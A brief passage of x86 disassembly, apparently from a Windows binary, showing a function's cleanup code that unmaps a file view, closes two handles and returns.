call fcn.00a184c0
add esp, 8
mov bl, al
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call esi
push edi
call esi
pop edi
pop esi
mov al, bl
pop ebp
pop ebx
ret